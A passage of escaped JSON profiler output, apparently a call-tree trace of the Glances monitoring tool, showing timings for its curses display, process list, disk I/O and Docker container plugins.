\"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001994,\"attributes\": {\"cProcesslistPlugin\": 0.001993973994103726, \"l471\": 0.001993973994103726},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001994,\"attributes\": {\"cProcesslistPlugin\": 0.001993973994103726, \"l460\": 0.001993973994103726},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001994,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001938,\"attributes\": {\"cProcesslistPlugin\": 0.0019380760058993474, \"l361\": 0.0019380760058993474},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001938,\"attributes\": {\"cProcesslistPlugin\": 0.0019380760058993474, \"l350\": 0.0019380760058993474},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001938,\"attributes\": {\"cProcesslistPlugin\": 0.0019380760058993474, \"l1251\": 0.0019380760058993474},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001938,\"attributes\": {\"l478\": 0.0019380760058993474},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001938,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002057,\"attributes\": {\"cProcesslistPlugin\": 0.0020571679997374304, \"l308\": 0.0020571679997374304},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002057,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002057,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.001922,\"attributes\": {\"cProcesslistPlugin\": 0.001922473995364271, \"l409\": 0.001922473995364271},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001922,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019991340013802983, \"l506\": 0.0019991340013802983},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019991340013802983, \"l1130\": 0.0019991340013802983},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000528998905793, \"l308\": 0.002000528998905793},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019975350005552173, \"l324\": 0.0019975350005552173},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002110,\"attributes\": {\"cProcesslistPlugin\": 0.002110138004354667, \"l472\": 0.002110138004354667},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002110,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001890,\"attributes\": {\"cProcesslistPlugin\": 0.0018898639973485842, \"l308\": 0.0018898639973485842},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001890,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001259981654584, \"l417\": 0.0020001259981654584},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.011591,\"attributes\": {\"cProcesslistPlugin\": 0.011590710004384164, \"l309\": 0.011590710004384164},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.011591,\"attributes\": {\"cProcesslistPlugin\": 0.011590710004384164, \"l855\": 0.011590710004384164},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.011591,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001410,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999062005779706, \"l325\": 0.001999062005779706},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999062005779706, \"l856\": 0.001999062005779706},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999062005779706, \"l963\": 0.001999062005779706},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.0020032030006404966, \"l309\": 0.0020032030006404966},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.0020032030006404966, \"l885\": 0.0020032030006404966},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.0020032030006404966, \"l907\": 0.0020032030006404966},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.0020032030006404966, \"l991\": 0.0020032030006404966},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"__display_left\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000808\",\"time\": 0.001999,\"attributes\": {\"cGlancesCursesStandalone\": 0.00199939599406207, \"l819\": 0.00199939599406207},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.001999,\"attributes\": {\"cGlancesCursesStandalone\": 0.00199939599406207, \"l1094\": 0.00199939599406207},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.001999,\"attributes\": {\"cGlancesCursesStandalone\": 0.00199939599406207, \"l1054\": 0.00199939599406207},\"children\": [{\"identifier\": \"display_stats_with_current_size\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001016\",\"time\": 0.001999,\"attributes\": {\"cGlancesCursesStandalone\": 0.00199939599406207, \"l1018\": 0.00199939599406207},\"children\": [{\"identifier\": \"window.addnstr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.102091,\"attributes\": {\"cGlancesCursesStandalone\": 0.1020914390028338, \"l291\": 0.1020914390028338},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.102091,\"attributes\": {\"cGlancesCursesStandalone\": 0.1020914390028338, \"l260\": 0.1020914390028338},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.102091,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.102091,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100439,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043927899823757, \"l1202\": 0.10043927899823757},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100439,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100439,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100436,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043578000477282, \"l291\": 0.10043578000477282},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100436,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043578000477282, \"l260\": 0.10043578000477282},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100436,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100436,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100579,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057869699812727, \"l1202\": 0.10057869699812727},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100579,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100579,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100638,\"attributes\": {\"cGlancesCursesStandalone\": 0.100637743002153, \"l291\": 0.100637743002153},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100638,\"attributes\": {\"cGlancesCursesStandalone\": 0.100637743002153, \"l260\": 0.100637743002153},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100638,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100638,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100479,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047909199784044, \"l1202\": 0.10047909199784044},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100479,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100479,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100567,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056661399721634, \"l291\": 0.10056661399721634},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100567,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056661399721634, \"l260\": 0.10056661399721634},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100567,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100567,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100514,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051392500463407, \"l1202\": 0.10051392500463407},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100514,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100514,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100539,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005392959996243, \"l291\": 0.1005392959996243},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100539,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005392959996243, \"l260\": 0.1005392959996243},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100539,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100539,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100458,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045847099536331, \"l1202\": 0.10045847099536331},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100458,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100458,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100546,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054636200220557, \"l291\": 0.10054636200220557},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100546,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054636200220557, \"l260\": 0.10054636200220557},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100546,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100546,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100416,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041637399990577, \"l1202\": 0.10041637399990577},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100416,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100416,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100486,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048638899752405, \"l291\": 0.10048638899752405},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100486,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048638899752405, \"l260\": 0.10048638899752405},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100486,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100486,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100368,\"attributes\": {\"cGlancesCursesStandalone\": 0.10036751600273419, \"l1202\": 0.10036751600273419},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100368,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100368,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100523,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052349299803609, \"l291\": 0.10052349299803609},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100523,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052349299803609, \"l260\": 0.10052349299803609},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100523,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100523,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100240,\"attributes\": {\"cGlancesCursesStandalone\": 0.10023965000436874, \"l1202\": 0.10023965000436874},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100240,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100240,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100527,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052691299642902, \"l291\": 0.10052691299642902},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100527,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052691299642902, \"l260\": 0.10052691299642902},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100527,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100527,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100518,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051816700433847, \"l1202\": 0.10051816700433847},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100518,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100518,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100560,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055964200000744, \"l291\": 0.10055964200000744},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100560,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055964200000744, \"l260\": 0.10055964200000744},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100560,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100560,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100566,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056610899482621, \"l1202\": 0.10056610899482621},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100566,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100566,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.112606,\"attributes\": {\"cGlancesStats\": 0.11260627699812176, \"l287\": 0.11260627699812176},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.112606,\"attributes\": {\"cGlancesStats\": 0.11260627699812176, \"l575\": 0.11260627699812176},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.112606,\"attributes\": {\"l571\": 0.11260627699812176},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.112606,\"attributes\": {\"cGlancesStats\": 0.11260627699812176, \"l274\": 0.09070437400077935, \"l275\": 0.021901902997342404},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.003515,\"attributes\": {\"cDiskioPlugin\": 0.0035147099988535047, \"l1278\": 0.0035147099988535047},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.003515,\"attributes\": {\"l1295\": 0.0035147099988535047},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003515,\"attributes\": {\"cDiskioPlugin\": 0.0035147099988535047, \"l114\": 0.0035147099988535047},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003515,\"attributes\": {\"cDiskioPlugin\": 0.0035147099988535047, \"l1351\": 0.0035147099988535047},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003515,\"attributes\": {\"cDiskioPlugin\": 0.0035147099988535047, \"l148\": 0.001540905999718234, \"l158\": 0.0019738039991352707},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001541,\"attributes\": {\"l2129\": 0.001540905999718234},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001541,\"attributes\": {\"l1106\": 0.001540905999718234},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001541,\"attributes\": {\"l1051\": 0.001540905999718234},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001541,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"is_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001054\",\"time\": 0.001974,\"attributes\": {\"cDiskioPlugin\": 0.0019738039991352707, \"l1058\": 0.0019738039991352707},\"children\": [{\"identifier\": \"is_hide\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001039\",\"time\": 0.001974,\"attributes\": {\"cDiskioPlugin\": 0.0019738039991352707, \"l1048\": 0.0019738039991352707},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001974,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.001999,\"attributes\": {\"cDiskioPlugin\": 0.0019989749998785555, \"l204\": 0.0019989749998785555},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cDiskioPlugin\": 0.0019989749998785555, \"l882\": 0.0019989749998785555},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.063993,\"attributes\": {\"cContainersPlugin\": 0.004003248999651987, \"l1278\": 0.06399333599983947, \"cProcesscountPlugin\": 0.059990087000187486},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.063993,\"attributes\": {\"l1295\": 0.06399333599983947},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.004003,\"attributes\": {\"cContainersPlugin\": 0.004003248999651987, \"l252\": 0.004003248999651987},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.004003,\"attributes\": {\"l256\": 0.004003248999651987},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.004003,\"attributes\": {\"l248\": 0.004003248999651987},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.004003,\"attributes\": {\"cDockerExtension\": 0.004003248999651987, \"l260\": 0.004003248999651987},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.004003,\"attributes\": {\"cContainerCollection\": 0.004003248999651987, \"l1009\": 0.004003248999651987},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.004003,\"attributes\": {\"cAPIClient\": 0.004003248999651987, \"l212\": 0.004003248999651987},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.004003,\"attributes\": {\"cAPIClient\": 0.004003248999651987, \"l44\": 0.004003248999651987},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.004003,\"attributes\": {\"cAPIClient\": 0.004003248999651987, \"l246\": 0.004003248999651987},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.004003,\"attributes\": {\"cAPIClient\": 0.004003248999651987, \"l602\": 0.004003248999651987},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.004003,\"attributes\": {\"cAPIClient\": 0.004003248999651987, \"l589\": 0.004003248999651987},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.004003,\"attributes\": {\"cAPIClient\": 0.004003248999651987, \"l703\": 0.004003248999651987},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.004003,\"attributes\": {\"cUnixHTTPAdapter\": 0.004003248999651987, \"l644\": 0.002002454006287735, \"l696\": 0.002000794993364252},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002002,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002002454006287735, \"l787\": 0.002002454006287735},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002002,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002002454006287735, \"l493\": 0.002002454006287735},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000424\",\"time\": 0.002002,\"attributes\": {\"cUnixHTTPConnection\": 0.002002454006287735, \"l499\": 0.002002454006287735},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"build_response\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000336\",\"time\": 0.002001,\"attributes\": {\"cUnixHTTPAdapter\": 0.002000794993364252, \"l365\": 0.002000794993364252},\"children\": [{\"identifier\": \"extract_cookies_to_jar\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/cookies.py\\u0000124\",\"time\": 0.002001,\"attributes\": {\"l134\": 0.002000794993364252},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/cookies.py\\u000035\",\"time\": 0.002001,\"attributes\": {\"cMockRequest\": 0.002000794993364252, \"l38\": 0.002000794993364252},\"children\": [{\"identifier\": 